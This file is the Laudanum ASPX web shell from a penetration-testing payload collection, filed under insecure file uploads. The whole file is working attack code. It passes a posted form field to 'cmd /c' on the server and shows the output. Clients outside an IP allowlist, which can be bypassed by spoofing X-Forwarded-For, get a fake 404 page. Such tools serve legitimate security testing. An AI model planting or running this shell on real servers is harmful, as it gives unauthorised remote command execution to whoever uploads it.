killchain-compendium/misc/PayloadsAllTheThings/Upload Insecure Files/Extension ASP/shell.aspx

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<%@ Page Language="C#"%>
<%@ Import Namespace="System" %>
<script runat="server">
/* *****************************************************************************
***
*** Laudanum Project
*** A Collection of Injectable Files used during a Penetration Test
***
*** More information is available at:
*** http://laudanum.secureideas.net
*** laudanum@secureideas.net
***
*** Project Leads:
*** Kevin Johnson <kjohnson@secureideas.net>
*** Tim Medin <tim@securitywhole.com>
***
*** Copyright 2012 by Kevin Johnson and the Laudanum Team
***
********************************************************************************
***
*** This file provides shell access to the system.
***
********************************************************************************
*** This program is free software; you can redistribute it and/or
*** modify it under the terms of the GNU General Public License
*** as published by the Free Software Foundation; either version 2
*** of the License, or (at your option) any later version.
***
*** This program is distributed in the hope that it will be useful,
*** but WITHOUT ANY WARRANTY; without even the implied warranty of
*** MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
*** GNU General Public License for more details.
***
*** You can get a copy of the GNU General Public License from this
*** address: http://www.gnu.org/copyleft/gpl.html#SEC1
*** You can also write to the Free Software Foundation, Inc., 59 Temple
*** Place - Suite 330, Boston, MA 02111-1307, USA.
***
***************************************************************************** */
string stdout = "";
string stderr = "";
void die() {
//HttpContext.Current.Response.Clear();
HttpContext.Current.Response.StatusCode = 404;
HttpContext.Current.Response.StatusDescription = "Not Found";
HttpContext.Current.Response.Write("<h1>404 Not Found</h1>");
HttpContext.Current.Server.ClearError();
HttpContext.Current.Response.End();
}
void Page_Load(object sender, System.EventArgs e) {
// Check for an IP in the range we want
string[] allowedIps = new string[] {"::1","192.168.0.1", "127.0.0.1"};
// check if the X-Fordarded-For header exits
string remoteIp;
if (HttpContext.Current.Request.Headers["X-Forwarded-For"] == null) {
remoteIp = Request.UserHostAddress;
} else {
remoteIp = HttpContext.Current.Request.Headers["X-Forwarded-For"].Split(new char[] { ',' })[0];
}
bool validIp = false;
foreach (string ip in allowedIps) {
validIp = (validIp || (remoteIp == ip));
}
if (!validIp) {
die();
}
if (Request.Form["c"] != null) {
// do or do not, there is no try
//try {
// create the ProcessStartInfo using "cmd" as the program to be run, and "/c " as the parameters.
// "/c" tells cmd that we want it to execute the command that follows, and exit.
System.Diagnostics.ProcessStartInfo procStartInfo = new System.Diagnostics.ProcessStartInfo("cmd", "/c " + Request.Form["c"]);
// The following commands are needed to redirect the standard output and standard error.
procStartInfo.RedirectStandardOutput = true;
procStartInfo.RedirectStandardError = true;
procStartInfo.UseShellExecute = false;
// Do not create the black window.
procStartInfo.CreateNoWindow = true;
// Now we create a process, assign its ProcessStartInfo and start it
System.Diagnostics.Process p = new System.Diagnostics.Process();
p.StartInfo = procStartInfo;
p.Start();
// Get the output and error into a string
stdout = p.StandardOutput.ReadToEnd();
stderr = p.StandardError.ReadToEnd();
//}
//catch (Exception objException)
//{
}
}
</script>
<html>
<head><title>Laundanum ASPX Shell</title></head>
<body onload="document.shell.c.focus()">
<form method="post" name="shell">
cmd /c <input type="text" name="c"/>
<input type="submit"><br/>
STDOUT:<br/>
<pre><% = stdout.Replace("<", "&lt;") %></pre>
<br/>
<br/>
<br/>
STDERR:<br/>
<pre><% = stderr.Replace("<", "&lt;") %></pre>
</form>
<hr/>
<address>
Copyright &copy; 2012, <a href="mailto:laudanum@secureideas.net">Kevin Johnson</a> and the Laudanum team.<br/>
Written by Tim Medin.<br/>
Get the latest version at <a href="http://laudanum.secureideas.net">laudanum.secureideas.net</a>.
</address>
</body>
</html>